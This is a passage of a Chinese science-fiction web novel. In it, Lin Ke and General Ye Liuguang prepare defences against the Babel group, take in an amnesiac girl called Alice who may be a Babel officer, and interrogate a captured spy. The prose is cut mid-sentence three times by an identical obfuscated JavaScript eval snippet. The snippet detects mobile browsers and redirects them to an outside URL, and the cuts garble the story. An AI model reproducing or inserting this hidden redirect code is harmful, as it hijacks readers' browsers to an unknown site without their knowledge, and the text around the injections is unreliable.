林英重复着凌珂的话,眉头紧锁。她的目光扫过神色各异的A队尘缘,最终定格在洪铮身上。 “洪队,这消息来源可靠吗?巴别真的要直接……推倒量子塔?” “消息来自管委会情报部门截获并破译的一段加密通讯,指向性明确,但无法验证其最终行动计划的细节。”洪铮开口,凌珂侧头,A队队长直起身子,一脸严肃地望着站在自己身边的林英,“事关重大,我们必须假设他们意图在渔猎大会上行动。林队长,我希望你们能立刻取消渔猎大会。” “不可能。”林英直接拒绝,“首先,渔猎大会本身对冰原人的意义颇多,现在这个时间点不可能说停下就停下,突然取消只会引起更大的混乱和恐慌,反而给巴别可乘之机。” “其次,直接停止会打草惊蛇。”抱臂站于她另一侧的夜流光开口,“敌在暗我在明,保持现状是最好选择。” 凌珂吸了一口气,转向洪铮:“洪队长,我们对巴别现在的技术手段了解有限,他们可能采用什么方式攻击锚点?除了已知的那个中层成员外,管委会有没有掌握其他潜入者的信息?” 洪铮摇头,脸上露出了一丝无奈。 “巴别惯用的手法依然是各种形式的病毒入侵和数据炸弹,直接导致系统紊乱和结构性崩溃。”她沉声道,“至于人员,拦截的信息只提及有一名中层成员意图潜伏,是否有后手,是否已有其他人潜入,都是未知数,这正是最让人担心的地方。” “都是未知数。”凌珂喃喃自语,强烈的不安攥住了她的心脏,“们的目的就是摧毁量子塔,眼下这个机会再好不过。巴别会不会为了保险,安排高层来?或者直接是,首领?” “巴别首领奥兹不会来。” 夜流光忽然开口,凌珂下意识望向他,上将大人一如既往面无表情,只有嘴角几不可查地上扬了一个像素点。 “是的,奥兹在数月前被我们和中央军重创,夜将军切断了他和量子塔的一半联系。”洪铮道,“那位首领现在应该还瘫在床上。” “所以现在,我们目前最大的威胁,仍可能来自巴别的高层干部,以及他们可能携带的、我们尚未知晓的破坏手段。”林英总结,迅速将话题拉回实际应对,“当务之急是立刻行动起来。我可以联系其他几个基地的首领和巡逻队的熟人,以加强节日安保、预防冲突为由,协调布防,将渔猎大会的明面安保工作做到极致。” “这还不够。” 夜流光冷淡的声音响起,凌珂看着他走到投影出的地形图前,圈出了几处标红的地方。 “常规安保只能起到最基本的防御作用,但很难真的阻止巴别,我们需要针对性布防。这三处代码薄弱,锚点不稳定,容易成为巴别的目标。” “懂了。”凌珂点头,接上了夜流光的话,“我需要用我的能力监测渔猎大会周围的代码和锚点,尤其是你圈出的这三处地方,只要有异常波动就马上预警,然后英姐需要在这三个地方加强人手防备。” 夜流光赞许地点点头,看向洪铮。 “洪队长,请你们协助林队,紧急培训基地的防御力量,重点针对巴别可能使用渗透和强攻手段进行布防。你们最熟悉巴别的风格。” 洪铮与身后的队员交换了一个眼神,沉声道:“义不容辞。” “英姐,你是这个基地的首领,这些可能都需要你居中调度,辛苦你了。”凌珂看向林英,后者对着她笑了笑,又风风火火地跑出宿舍。 没有再耽误时间,凌珂解除了对A队武器的限制,便和夜流光一起离开了临时基地,前往三处代码薄弱点。 基地大门在身后缓缓合拢,寒风裹挟着冰晶扑面而来,刮在脸上带着刺痛的冷意。 凌珂拉高了衣领,呼出的白气瞬间消散在风中。 她跨上冰上摩托,见夜流光迟迟没有动作,有些疑惑地抬眼望去。 夜流光还站在基地门口,一只手抱着她刚刚跑过去的头盔,另一只手抬起,手指微微张合,上将大人的视线停在自己的这只手上,目光晦涩,不知道在想什么。 “夜将军。”凌珂唤了一声,夜流光忽的抬头,淡淡地应了一句后,戴好头盔上了她的后座。 真奇怪。 凌珂心里嘀咕了一句,将把手猛地一拧,冰上摩托发出一声轰鸣,载着两人向前冲去。 等到速度提了上去,确保上将大人绝对无法谋杀驾驶员后,凌珂才缓缓开了口:“夜将军,你刚刚该不会是在怀念在月面指挥的日子吧?” 她明显感觉到,夜流光环着她的手臂猛地一僵。 心中那点小小的逗弄上将成功的快意刚刚升起,凌珂就听到了夜流光平淡的回应。 “当中央军统帅的日子,任何一个人都会怀念。” 这句话听起来无可挑剔,甚至带着一种公式化的正确,但不知道为什么,凌珂莫名捕捉到了一丝极淡的、几乎随寒风一起刮走的复杂情绪。 不是怀念,倒更像是疲惫和一点她读不懂的东西。 看来这个话题继续下去,会有点冒犯人了。 “也是。”凌珂最终只是应了这么一句,她稍稍加快了车速,冰上摩托在冰面上划过一道更凌厉的轨迹,“夜将军,抓紧了,前面的路有点颠,别掉下去了,你可是我现在重要的合作者,摔坏了我可就亏大了。” 有些沉重的氛围被她轻松的语气驱散,环在她腰间的手臂依言收紧了些许。 那三处地点的情况非常糟糕,凌珂半跪在地面上,尝试着将意识沉入那片混乱的代码,金色的丝线从她指尖探出,试图梳理那些纠缠崩溃的数据流。然而,即使经过权限密钥的加强,这根金丝也依然如同投入深海的石子,只能激起微不足道的涟漪,很快便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407665|184564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被更大的混乱吞没。 “不行。”凌珂直起身子,眉头蹙紧,“即使有密钥的加强,我也无法修复,这里的代码太混乱了,即使没有巴别的推波助澜,也很快就会自己瓦解。说实在的,比起阻止巴别,我现在倒觉得,赶紧疏散人群到二层,然后杀回月面,逼管委会再次启动实验更合理一点。” “不需要这么冒险,科学院预测,距离量子塔坍塌还有近半年的时间,足够我们找到剩余的密钥。” 抿了抿唇,凌珂垂下手,目光停在冰面上许久,才跟着夜流光回了冰上摩托。 在拧下把手前,她忍不住又看了一眼那处的冰面,平静的表面下暗潮汹涌,像是埋着不知何时爆炸的炸弹。 这里的锚点,真的还能撑半年吗? 林英的效率毋庸置疑,凌珂刚回了临时基地就察觉到不止多了一处的暗哨和巡逻频率明显上升的安保队。 冰原被夕阳染上了一片橘红,基地的空地上,巨大的篝火堆已经架起,食物的香气飘在基地上空,劣质酒精饮料的气味也在基地内蔓延,不知道是谁偷偷开了为渔猎大会准备的饮料。 凌珂坐在一处安静的角落,望着不远处几人嘻嘻哈哈着悬挂节日的装饰,耳边却是自己过快的心跳声。 夜流光站在她身边,抱臂而立,异色双眼扫视着窗外的景象。 “你觉得他们会来吗?”凌珂轻声问,像是在问夜流光,又像是在问自己。 “只要有机会,巴别从不缺席毁灭。”夜流光的声音没有任何起伏。 就在这时,一阵急促的脚步声从基地入口方向传来,打断了基地内的欢声笑语。 一名负责外围警戒的队员气喘吁吁地跑了过来,停在凌珂面前,扶着膝盖道:“凌姐,夜将军,我们、我们在附近巡逻时,在靠近旧信号塔的地方,发现了一个小女孩。” “小女孩?”凌珂蹭的站起,“是哪个队伍走丢的?怎么跑到那么远的地方去了?你们没人认识吗?” “不是。”队员连忙摇头,语气急促,“那孩子只有四岁大,长着一张陌生的脸,而且看上去……”他顿了一下,脸色有些复杂,“像是被虐待过,手上有很多被割伤的痕迹,穿着整洁干净,手上还抱着有些老旧的兔子玩偶,应该不是冰原的人。” 凌珂的心猛地一跳,一股古怪的感觉从心底浮现。她下意识看向夜流光,发现他也正蹙着眉望着基地入口,脸色明灭不定。 “孩子呢?”她沉声道,迈步朝基地入口走去。 队员侧身让开一条道,跟在她身后:“在外面,小李抱着呢。她好像有点冻着了,但没哭没闹。” 凌珂径直走到基地入口,围着的队员往四周散开,露出了中央的小李和他怀里的小女孩。 在看清小女孩的那一刻,凌珂瞳孔骤缩。 小女孩被队员的大衣里三层外三层地裹着,只露出了小脑袋和她的小半只手,但光是露出部分的伤疤,就已经让人触目惊心。 小女孩被队员递来,凌珂下意识伸手去接。 脑袋深处隐隐的刺痛被忽视,凌珂抱住了她。 四周的风声更大了。 15. 末日倒计时:1d5h 量子塔没有真正的孩童。 小女孩似乎被外面的寒冷和这么多陌生人吓到了,下意识往凌珂怀里缩,手紧紧攥住了她的衣襟。 凌珂抱着她的手臂下意识地收紧了些,女孩很轻,轻到像是没有重量。 数据世界不可能诞生新的生命,她只可能是一名丢失太多记忆导致心智退化,最后身体也退化成孩童状态的成年人。 思及此,凌珂抬眼望向发现小女孩的队员,声音压得很低,生怕惊扰怀中的孩子:“查清楚了吗?附近的队伍中有没有人失踪或者丢失孩子?” 巡逻队员连忙摆手,语气急切:“凌姐,都问过了,绝对没有。这都快到渔猎节了,没人会闲着去旧信号塔,更别说那里根本不是常规路线,这孩子倒像是凭空冒出来的。” “凭空冒出……”凌珂喃喃道,目光再次落在小女孩手背上的伤痕,古怪的感觉再次上涌。 抬起头,她看向身旁的夜流光,用气声问:“你怎么看?” 夜流光异色的双眼也正定格在小女孩身上,他紧抿着唇,目光冰冷,审视着伤痕和女孩怀里的兔子玩偶。 听见凌珂的问题,他抬了抬眼,两人视线在空中短暂交汇,又齐齐落回女孩身上。 小女孩被夜流光的目光盯得更加害怕,直接把脸埋进凌珂的颈窝,身体在怀中微微发抖。 “非常可疑。” 夜流光的声音低沉肯定,不带丝毫犹豫。 凌珂点头,低声道:“出现的时机和地点都非常巧合,很大可能和巴别有关,可是……” “可是?” 夜流光的目光挪到她脸上,凌珂抿了抿唇,还是抬起头,直视夜流光:“可是还有万分之一的概率,她只是因为巧合,从上面落下、受了重伤的无辜者。” “你想留下她。” 将问句说成陈述句,非常夜流光。 凌珂深吸一口气,寒冷的空气刺痛了她的肺部:“夜将军,只要还有万分之一的可能,我们就不能不管她。如果她真的是小孩,把她扔出去就是送死。” “留下她的风险会非常大,我们无法承担任何意外。” 夜流光双眉紧蹙,凌珂收紧了自己的怀抱,微微提高声音:“夜将军,在人类仅存万名的当下,任何一条人命都值得我们冒险,更何况是一个身心不超过五岁的小女孩。” “她可能害死所有人。” 凌珂眉头紧锁,用只有他们俩能听清的声音说:“上将大人,我必须提醒你,即使没有一个四岁小孩的推波助澜,量子塔本身就已经要塌了,这是时间问题,我们现在阻止巴别本身就只是治标不治本。” “那也可以争取足够的时间。”夜流光毫不退让,目光扫过小女孩紧抱着凌珂的手,“情感用事只会导致更大的损失。” “情感用事?”凌珂挑着眉重复了一遍,差点气笑,“夜流光,你觉得同理心和人道主义是情感用事?一个心智只有四岁的小孩,她能做什么?” “巴别为达目的无所不用其极,即使是四岁小孩也能做很多事。” 视线交汇片刻,凌珂垂下头,先缓和了语气:“抱歉,我是有点不理智。我明白你的顾虑,她确实非常可疑,但我们不能就这么武断地认定她绝对有问题。” 怀中的小女孩被刚刚的争吵吓到,身体瑟瑟发抖。 凌珂轻轻拍了拍她的背,继续道:“把她交给巡逻队,或者直接扔出去,是最简单粗暴的做法。但假如我们错了呢?假如她真的只是一个无辜的小姑娘呢?那我们和视人命如草芥的巴别和管委会,又有什么区别?” 重新抬起头,她看向夜流光的目光灼灼:“我会亲自监管照顾她,把她带到隔离室,远离核心区域和锚点,不让她离开我的视线。如果她是无辜的,那么我们保护了一个孩子;如果她确实有问题,那她待在我的眼皮下,也比让她在外面不知道做什么要强。” 夜流光久久没有说话。 寒风卷过,吹动他额前的几缕碎发。终于,在凌珂的目光下,夜流光缓缓开口,声音听不出什么情绪:“可以。” 紧绷的肩膀微微放松,凌珂马上扬声对旁边看热闹的队员道:“热闹看够了吗?看够了就赶紧去叫医疗队。小李,”她看向抱回小女孩的队员,“准备点干净衣服和热的流食,送到隔离室。衣服可以直接用我以前的,你去问问英姐,她会给你。” 一群人顿时作鸟兽散,怀中的小女孩似乎察觉到紧张的气氛缓和,从她的颈窝里抬起一点点头,有些怯生生地看向夜流光,在看到他的那只义眼时又抖一下,迅速埋了回去。 凌珂拍着她的背,眸光微闪。 假如她真的是巴别的人,用某种方法变成小孩迷惑视线,那演技有点太逼真了。 她要么是真的无辜,要么至少是中级以上的巴别干部。 凌珂垂着眼睛,心里想七想八也没影响她把小孩带到医疗室。女孩被医疗队的人小心接过,数套仪器马上就跟着安排到她身上。 凌珂站在一旁等待结束,光线忽然被一道阴影挡住。 她抬起眼睛,侧过头,夜流光不知什么时候站到了她旁边,干巴巴地开了口:“我过来查看她的情况,避免出现意外。” 挑了挑眉,凌珂细细打量了一番他绷紧的下颌线和抿紧的嘴唇,瞪大眼睛,用只有两人能听到的声音低声说:“夜将军,你该不会没地方去吧?” 夜流光的下颌绷得更紧了。 刚刚这话说得有点难听了。 凌珂检讨了一番自己,轻轻咳了咳,点头道:“也对,夜将军光临冰原不过一两天时间,根本没时间和大家熟悉起来,是我因为发生的事情太多,怠慢了夜将军。” 赶在夜流光冻住周围空气的前一秒,凌珂悠悠地开了口:“假如等下小姑娘的体检情况一切良好,那我就带着你和她逛逛冰原,顺便提前体验一下渔猎大会,怎么样?虽然肯定比不上月面的繁华,但也算是冰原特色了。” 夜流光似乎怔了一下,异色的双瞳忽的看了过来。凌珂笑着回望,道:“夜将军,您意下如何?” 他的嘴唇微动,似乎想说什么。然而,还没等他给出回应,医疗队的报告就先一步递了过来。 凌珂立刻收敛心神,低下头细细查看,脸上的笑逐渐敛去。 “记忆基本全部丢失,心智状态大概退化到四至五岁儿童的水平,身体机能初步判断也基本符合这个年龄特征,但更精确的评估还需要时间和更专业的设备,目前我们没有这个条件。”医疗队队长在一旁汇报,“身体状况勉强算是良好,没有疾病,没有植入物或异常能量波动,也没有检查出毒素、病毒或其他生物武器的痕迹,兔子玩偶也只是一个普通的玩偶。目前来看,她只是被冻到了,有点受惊。” “那她手上的伤是怎么回事?”凌珂翻着手上的报告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407666|184564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,问。 “自残。” 凌珂的动作一顿,飞速抬头和夜流光对视了一眼,随即看向医疗队队长。 将报告合上,她蹙着眉道:“仔细说说。” 队长无奈摊手:“我们想仔细查也查不了。现在她什么都不记得,心理状态完全就是一个小孩,除了能从伤疤的走向和深度判断出是自残导致的以外,其他什么都看不出来。” “好,我明白了。”凌珂将报告递回给队长,“你们先按照这个情况,再结合我的经验,看看怎么治疗她,我得带她走了。” 隔离室位于基地的边缘,是由一个储存物资的小仓库临时改造而成,墙壁进行了加固,还添了四个监视器和一个简单的取暖器。 凌珂抱着小女孩走进房间,桌子上放着叠好的衣服和还冒着热气的粥。 哄着小女孩换上干净暖和的衣服,又喂她喝下了粥,小女孩才渐渐放松下来,紧紧抱着玩偶,蜷在床上沉沉睡去。 凌珂拉过椅子做到床边,看向还站在门口的夜流光,笑着用口型问道:“怎么了?” 夜流光不理她。 凌珂的嘴角忍不住上扬,她挥了挥手,又拍了拍另一张椅子,作邀请状。夜流光绷着下颌,在门口矜持片刻,还是老老实实进了隔离室,在凌珂身边坐下。 “你想一直这样,坐在这里盯着,直到她醒来?” 凌珂嗯了一声,目光落在小女孩沉睡的侧脸:“我怀疑她是巴别的高级干部。” 夜流光沉思片刻,点点头:“假如她是演出来的,确实有可能。” 凌珂侧头瞥了眼夜流光:“我还以为你听到我的猜测后会惊讶。” “我从来不会低估巴别的成员。” 夜流光的回答冠冕堂皇,凌珂怀疑他在月面上也是这么敷衍媒体的。 两人一时无话,气氛有些微妙的凝滞。 “你……” “你……” 两人同时一愣,凌珂嘴角止不住地上扬:“没事没事,夜将军您先请。” 夜流光冷冷地瞥了她一眼:“我想去看看外面的布防。” 凌珂等了一会儿,没等到下文,再看看夜流光的脸色,笑道:“对了,夜将军不认识路,需要人引路,我这就叫人来。” “渔猎大会。” 凌珂一愣,扭头看向夜流光。他的目光还停在小女孩身上,嘴唇微动:“你不是想去渔猎大会吗?” “可是我要看守照顾……” “林英可以临时看护一段时间。”夜流光打断道,声音依旧平淡,却抛出了一个让凌珂意外的提议,“现场环境瞬息万变,我们必须亲自查看布防情况才能有底。” 他顿了顿,侧头用眼神示意床上睡得沉沉的小女孩,用口型道:“试探。” 凌珂恍然。 的确,假如小女孩确实有问题,又沉不住气,英姐能力很强,足够撑到他们赶回;假如小女孩沉得住气或者真的没问题,那他们出去一趟也无妨。 凌珂最终点了点头:“好,再等一小时,布置得差不多的时候,我们出去转一圈。” 夜流光颔首,留下一句“我先出去看看情况”,就转身离开隔离室。 叫来人带夜将军离开,凌珂关上门,背靠着冰凉的门板,长长地吐出一口气,心情复杂地看向床上依旧安睡的小女孩。 “但愿……你只是你自己。” 16. 末日倒计时:1d3h “吃吗?” 夜流光不说话,凌珂拿着烤串在他眼前晃了晃,见上将大人抿着嘴不吭声,便将烤串送到了自己的嘴里。孜然与辣椒粉的味道混着肉汁在舌尖上炸开,凌珂眯了眯眼睛,道:“烤串真的很好吃,夜将军你确定不来一串吗?” 看着凑到他眼前的粗糙木签和散发着浓郁香料气味的肉块,夜流光几不可查地往后仰了仰:“我们是来查看布防情况的。” “我知道啊。”没能勾引出上将的食欲,凌珂只能将整串烤肉送进自己嘴里,一股暖意随之在身体内扩散开来,“我有在查看情况。” 渔猎大会虽是明天早上才正式开幕,但现场的空地上已然提前热闹起来。各色简易的帐篷和摊位自觉排成数排,在苍白的冰原上点缀着五颜六色的装饰。 空气中弥漫着烤炙食物的香气和劣质酒精刺鼻的味道,混杂着期待与喧嚣的热烈气氛。冰原的土著穿着厚实的衣物,脸上带着久违的笑,穿梭在摊位之间。 放缓脚步,凌珂对着一处制高点扬了扬下巴:“你看,那里就有英姐安排的暗哨,从人数来看,应该是负责这一片的摊位。那边的摊位,”她将目光投向另一处制高点,了然地笑了笑,“果然,那里也有暗哨。” 夜流光停下了脚步,凌珂回身,见他看向自己的目光有些复杂,有些疑惑地挑眉:“怎么了?我很熟悉英姐的风格啊,看几眼就大概知道看守怎么安排了。” 她将手里的烤鱼不由分说地塞进夜流光手里,扬眉笑道:“夜将军,我不知道你是什么时候兵变的,但从决定兵变的那一天开始,一直到现在你都没好好休息过吧?休息一下吧,神经一直绷着会崩断的。” 上将大人终于接过了烤鱼,凌珂满意地对着他笑了笑,回身继续沿着预设的路线往前走,一遍往前走一边道:“渔猎节这个名字来源于观测站的科学家给冰原新年起的诨名,后来由当时驻扎在这里的科学院院长亲自确定为冰原新年的正式名称。” “据说代码坍塌前,除了摆摊以外,观测站还会主办冰湖钓鱼比赛,不过每次拿奖的都是冰原军的人。”说着,凌珂侧头看了眼夜流光,揶揄道:“夜将军,作为冰原军统帅,你参加过这种比赛吗?” “不记得了。” 凌珂瞪大眼睛,扭头看向夜流光。 目光不知道落在哪里,他淡淡开口,像是在叙述一件与自己无关的意外:“坍塌时,除了科学院院长,我是最靠近事故中心的人。” 凌珂愣在原地。 “受坍塌影响,我不记得很多事。关于冰原,我只记得在军队的日常。”夜流光低下头,望着自己的手,“或许我们以前确实认识,但我现在的确不认识你。” 他抬起眼睛,凌珂怔怔地和他对视。 “一直跟着我,你不会如愿找回自己的过去。”夜流光的语气依然平静,“凌珂,在解决完这次事件后,我要离开冰原去第二层。” “你还愿意和我一起走吗?” 凌珂张了张嘴,却发现自己根本不知道该怎么开口。夜将军的语气过于认真,让她想揶揄打发过去都不行。 跟着他一起走?冰原的大家,林英、徐景琛,她怎么可能舍得抛下他们。 可是留在冰原呢?夜流光是她眼下唯一的线索,甚至连昏迷时那段疑似过去的画面,她能看到的根本原因也是因为跟着夜流光去找权限密钥,假如留在冰原,她就真的不知道自己曾经是谁了。 “我知道了。” 还没等凌珂想到完全之策,夜流光就已经开口打断了她的思绪。 凌珂连忙抬头:“我……” “不必勉强。”夜流光直接说,“你非常强大,单兵作战能力在整个量子塔都能排到前列。你既然选择留在冰原,我希望你能努力稳定量子塔的根基,至少在人类能回归现实前,守好冰原,不要让量子塔提前坍塌。” 凌珂张着嘴,听着夜将军自说自话地把她的未来钉在了冰原,莫名其妙道:“谁和你说我要留在冰原?” 夜流光一噎,蹙着眉看了过来,凌珂继续道:“是,我是舍不得英姐他们,但我和你离开冰原,又不是永远不回来了。倒不如说,假如这次不和你走,我才真的有可能永远不知道自己的过去了。” “但是……” “没有但是。”凌珂毫不犹豫地打断了他的话,“我和你一起去第二层,上将大人,听清楚没?我,”她用拇指对了对自己,“和你,”凌珂又用食指指向夜流光,“一起去第二层,能听清楚吗?” 见夜流光怔在原地,凌珂扬起眉,抬手在他眼前挥了挥:“夜将军?上将大人?夜流光?死机了?” 夜流光终于一把抓住了她的手腕,蹙着眉瞪了她一眼。 凌珂笑了起来,正准备再开几句玩笑,余光忽然瞥见了一个鬼鬼祟祟的身影。 那人穿着一身常见的冰原衣物,眼神时不时扫视四周,身体弓着,像是在遮掩怀里的一包东西,状似在闲逛,但却在一点点往通往基地的一条小路上挪。 凌珂与夜流光对视一眼,默契地放缓脚步,借着人群和摊位的掩护,悄无声息地靠近。 那人似乎没有察觉,还紧紧抱着怀中的布袋,努力从人群中挤出去。 “动手。” 凌珂低喝一声,夜流光的身影如鬼魅般掠出,几乎在凌珂声音落下的瞬间,已至那人身后。 对方反应也是极快,察觉不对立刻翻身欲逃,却陷入变成淤泥的土地之中,夜流光的手刀精准地落在其后颈。 那人软软倒地。 附近的巡逻队员闻声赶来,凌珂示意他们噤声,快速检查了昏迷者身上,除了伪装成冰原土著的一些工具外,还搜出了一个伪装成普通通讯器的能量信号发射器。 “带走,关押起来,等我回去后仔细审问。”凌珂沉声吩咐,心情却并不轻松。 抓获一个探子,并不能证明危机解除,反而像是印证了暴风雨前的宁静。 插曲过后,渔猎大会的布防大致情况凌珂也大致清楚,两人便打道回府,先去了隔离室。 凌珂轻轻推开门,就见林英坐在床边,轻声给醒来的小女孩讲童话。小女孩蜷在被子里,怀里依然紧紧抱着那只兔子玩偶,眼睛怯怯地望着林英,听得入神。 听到门被推开的声音,两人齐齐抬头望了过来,见凌珂进来,林英放下了手里的童话绘本,起身示意凌珂出去讲。 凌珂点头,林英走出隔离室,关上门后对着两人摇摇头,道:“她醒来大概十几分钟,能说话,但不愿意开口和我沟通。”她看向凌珂,“不过你可以去试试。” “我?” 凌珂蹙起眉,林英点头:“她唯一说的话就是问你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407667|184564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去哪里了。” 她了然地点点头,深吸一口气,重新推开了宿舍门。 看到凌珂回来,小女孩小声唤道:“凌姐姐……” 心头一软,凌珂的脸上露出温和的微笑,走过去坐到床边,摸了摸她的头发:“感觉怎么样?有没有哪里不舒服?” 小女孩摇摇头,往凌珂身边靠了靠。脸上笑意更深,凌珂从口袋里掏出一小块用油纸抱着的甜糕,递给小女孩:“尝尝这个,姐姐刚刚出去买的。” 小女孩犹豫了一下,抬头看了眼凌珂,才小心地接过,小口小口地吃了起来。 将女孩嘴角的糖屑擦去,凌珂侧头与站在门口的夜流光对视一眼,低下头对女孩道:“小姑娘,你还记得自己的名字吗?” “名字?”女孩抬起头,与凌珂对视,眼中满是茫然。 微微蹙起眉,凌珂解释道:“就是像姐姐这样的人,是怎么称呼你的?” 小女孩微微蹙起眉,片刻后才犹豫着开口:“爱、爱丽丝?” “爱丽丝?” 夜流光的声音忽然响起,凌珂抬眼,夜流光眉头紧皱,环抱双臂,再次开口时语气更加严厉:“你说你叫爱丽丝?” 小女孩被夜流光的态度吓到,下意识往凌珂身后躲,抓着凌珂的衣角怯生生地点了下头。 凌珂虚环着爱丽丝的身体,用口型问道:“有问题?” 夜流光只是皱着眉,他摇摇头,眼神示意凌珂继续套话。 重又低头看向爱丽丝,凌珂轻轻拍了拍她的背,柔声道:“那爱丽丝,你还记得你是从哪里来的吗?就是在你碰见抱你回来的大姐姐之前,你有遇到其他人吗?” 爱丽丝只是将脑袋埋在她怀里,摇摇头,不说话。 “那在碰见那个大姐姐前,你还看到了什么、听到了什么,或者感受到了什么?” 等了许久,缩在她怀里的爱丽丝才小声开了口:“冷。” “嗯,冷。”凌珂拍了拍她的背,循循善诱,“那在冷之前呢?” “痛。” “痛?”凌珂重复了一遍,柔声问:“爱丽丝,在你感觉痛的时候,有看到什么吗?” 爱丽丝抬起头,眼眶中不知道什么时候溢满了眼泪。 凌珂连忙抽了纸巾,给爱丽丝擦眼泪,就听见她抽了抽鼻子,低声道:“火,被火烧……从天上掉下来,好痛,凌姐姐,好痛啊。” 凌珂的动作顿住了。 从天上掉下来,还被火烧,这不就是在没有逃生舱的情况下,从上面强行坠落吗? 身上没有烧伤的痕迹,说明她退化成孩童是在被火烧后,那就说明强行坠落导致爱丽丝丧失记忆。 所以,她为什么会强行坠落?是像巴别的那些人一样,被疯狂引诱着自愿坠落,还是被人推下来的? 心往下沉,凌珂拍着爱丽丝的背,轻声安抚着她重新睡去,才悄悄离开了隔离室。 看向夜流光,她垂下头,低声道:“如你所听,至少从表现来看,爱丽丝什么都不记得。” 出乎凌珂的意料,夜流光居然摇摇头,沉声道:“她已经说出了一个非常重要的情报。” “什么情报?”凌珂连忙追问。 “她说她被人称呼为爱丽丝。” “巴别的十二名高级干部中,其中一人代号爱丽丝。” 17. 末日倒计时:1d2h 走廊上陷入了片刻的寂静。 “会不会是你想多了?”凌珂迟疑着开口,“假如她真的是巴别的高级干部,那她不可能直接告诉我们她叫爱丽丝啊。” “可是她现在什么都不记得。”林英沉思,“把自己的代号误会成名字,对一个小女孩来说很正常。” 凌珂仰头思考片刻,有些烦躁地挠了挠头发:“算了,不想了。”她转向夜流光,“我们不是正好抓到一个疑似探子的人吗?去问问不就可以了。” 夜流光颔首。 关押那个探子的监禁室就在隔离室附近,凌珂几步到了门口,就听见里面的人在大吵大闹。 “你们基地的人就是这样对待普通平民的?我要告到巡逻队!” 凌珂与夜流光对视一眼,推门走进监禁室。 房间里面,刚刚那个探子被捆在椅子上,动弹不得。听见开门的声音,他一边骂骂咧咧一边扭头看了过来,在与凌珂对视时哑了声,再一抬头,看清夜流光标志性的义眼时,脸彻底发白。 凌珂没有理会他,而是看向负责看守的队员:“他有说什么吗?” 队员无奈摊手。 “他完全不愿开口。” “行,我知道了,你先出去吧。”凌珂转了转手腕,朝着探子露出了一抹灿烂的微笑,“这种人交给我就好。” 在队员将要踏出监禁室前,凌珂忽然侧头喊住了他:“等一下,把那盒审讯工具拿过来。” “审讯工具?” 见队员蹙起眉,凌珂比划了一个方形:“英姐的私藏,里面应该有剥皮的小刀、穿手指的竹签和拔指甲的钳子之类的工具,你去问问就好。” 队员一脸疑惑地出去了,凌珂坐到探子对面的椅子上,轻快地翘起腿,对着已经开始冒冷汗的探子微笑:“在工具送来之前,大概还有十分钟的时间,我们随便聊聊?” “你、你……”探子磕磕巴巴地吐出几个字,“随便使用私刑是违反量子塔法律的!” “违法吗?”凌珂指了指站在自己身旁的夜流光,“可是军方的领导者就在这里啊,哪里算是私刑呢?” 被狐假虎威的上将大人沉默一瞬,语气平和地开口:“不必如此,我们只是问话。” 凌珂侧头,对着他笑得眉眼弯弯,道:“说的也是,我只是开个玩笑而已。”她回头,对着探子比了个请的手势:“来吧,十分钟,你想聊什么?” “我、我是不会说的!” “我没让你说什么啊,只是聊天而已。”凌珂十指交叉置于腿上,“你不愿意的话,我想想……先说说你叫什么名字吧?” 探子沉默。 “名字都不愿意说吗?”凌珂装作苦恼的样子,歪了歪头,“你真的不愿意开口吗?” “我是绝对不会开口的!” 听着他一字一顿、咬牙切齿地说完这句话,凌珂收起笑容,举起了左手的手环,淡淡道:“杰尼斯,调出这个人的档案。” 话音刚落,一面虚拟显示屏从手环弹出,眼前人的证件照赫然列于屏幕正上方,一行行字从照片下划过,勾勒出他的一生。 探子的眼睛瞬间瞪大。 没理会对方的歇斯底里和尝试挣脱绳索的动作,凌珂细细读着他的档案,道:“原来你叫汉斯啊,雨都的居民,原来是霓虹公司的职员,怎么离职了?” “闭嘴,闭嘴!你这是在侵犯量子塔居民的隐私!” “原来如此,是贪污啊,刚贪了一点就被抓了,真倒霉。”凌珂一面评价一面划着屏幕,“被炒鱿鱼之后就没工作了,沦落成巴别的愤青了?哦不对,按你的年纪,应该是愤怒的中年老登?” “贪污被开除后,连续三个月都没有正式的工作记录……哦,后来去地下赌场当打手了,因涉嫌暴力被雨都的警察警告三次,差点被捕……最近的一条记录显示,你于上个月十六日通过不明方法进入冰原,跟冰原人解释为探亲?”凌珂挑起眼皮,冷冷地扫了一眼汉斯,“你在冰原无亲无故,探的哪门子亲?巴别的家人?” 汉斯脸色煞白,嘴唇哆嗦着,却只能吐出几个拟声词。 凌珂不急不缓地收起虚拟屏幕,侧耳听了听外面的动静,故作恍然:“听起来,审讯工具应该快送来了,速度真快啊。” 